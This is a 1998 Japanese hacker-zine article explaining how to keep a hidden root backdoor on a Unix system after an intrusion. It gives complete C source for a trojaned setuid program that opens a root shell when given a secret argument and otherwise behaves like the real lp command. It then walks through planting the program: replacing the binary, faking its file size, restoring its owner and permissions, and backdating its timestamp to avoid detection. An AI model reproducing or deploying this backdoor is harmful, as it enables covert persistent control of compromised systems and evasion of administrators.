================================

The ShadowPenguin Documents. No.5

- 見つかりにくいrootshell -

Written by うにゅん
Oct.18, 1998

================================

1. はじめに
侵入してrootを取った後、一般的な置きみあげの一つにrootshellがありますね。findすれ ば見つけられると思っている管理者はアマいです。このようなrootshellだと見つけにく いです。ここに紹介されているようなhrsを使用するとrootshellを長生きさせることができます。通常のrootshellだと、findで検索されてバレることがあります。代表的な探し方は、
%find / -perm 4755 -print
とかで、出てきたsuidプログラムを片っ端から実行していくわけです。そこで、バレにくいrootshell作ってみました。適当なsuidプログラムを入れ替えて、 特殊な引数を指定したときrootshellとして機能するようにしたものです。そういったモノが仕込まれてる可能性もあるので、「rootとられたかな〜」って思ったら、面倒だと思わずにシステム再構築をやりましょうね。とりあえず、実験してみましょう。

2. 用意しておくもの
sizer等 のプログラムのサイズをごまかすツール。sizerはここのHPに落ちてます。これがなくても、サイズはおかしくなりますが問題なく動作はします。それと、当たり前ですがrootになってないとダメですよ。

3. プログラム(hrs.c)
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#define ORIGINAL "/.desktop-user"
(*2)
#define MAGIC "hoge" (*1)
main(argc,argv)
int argc; char *argv[];
{
int i;
char buffer[2000];
setuid(0); setgid(0);
if (argc==2 && strcmp(argv[1],"hoge")==0){
system("/usr/bin/csh");
}else{
sprintf(buffer,"chmod 4755 %s",ORIGINAL);
system(buffer); strcpy(buffer,ORIGINAL);
for (i=0;i<argc-1;i++){
strcat(buffer," "); strcat(buffer,argv[i+1]);
}
system(buffer);
}
sprintf(buffer,"chmod 644 %s",ORIGINAL); system(buffer);
}

4.仕込み方

  1. %find / -perm 4755 -print
    とかかけて、suidプログラムを探します。例えばIRIXだと
    /usr/bin/lp
    等が出てきます。
  2. どんな場所、どんなファイル名でもいいから、さっきの /usr/bin/lpをコピーする。 例えば
    %cp /usr/bin/lp /.desktop-user
    みたいに。そして、プログラム中の#define ORIGINALをそれに 合わせる。 (3.のプログラム中の(*1))
  3. #define MAGICにrootshell専用引数を入れる。(3.のプログラム中の(*2))
  4. %cc rsh.c -o lpでコンパイル。(gccもok)
  5. %ls -al /usr/bin/lp
    でオリジナルの日付やgroup、サイズを確認
    (例)
    -rwsr-xr-x 1 lp sys 62372 1月30日 1997年 lp
  6. Rootになる
  7. #cp ./lp /usr/bin/lp
  8. sizerでファイルサイズを調節する。
    #sizer /usr/bin/lp 62372
  9. #chmod 4755 /usr/bin/lp
    #chgrp sys /usr/bin/lp
  10. #touch 0130000097 /usr/bin/lp
    で日付を調節する。日付はさっき確認したヤツです。なお、一度hrsを実行すると、オリジナルのパーミッションは自動的に 644になりfind / -perm 4755で出てきませんから怪しまれにくいですね。

5. 使い方
%lp hoge
とすると、Rootshellとして機能します。また、
%lp -dlp temp.txt
等とすると、普通のlpコマンドとして機能します。

こんなの仕込まれると、イヤですね〜。気をつけてください。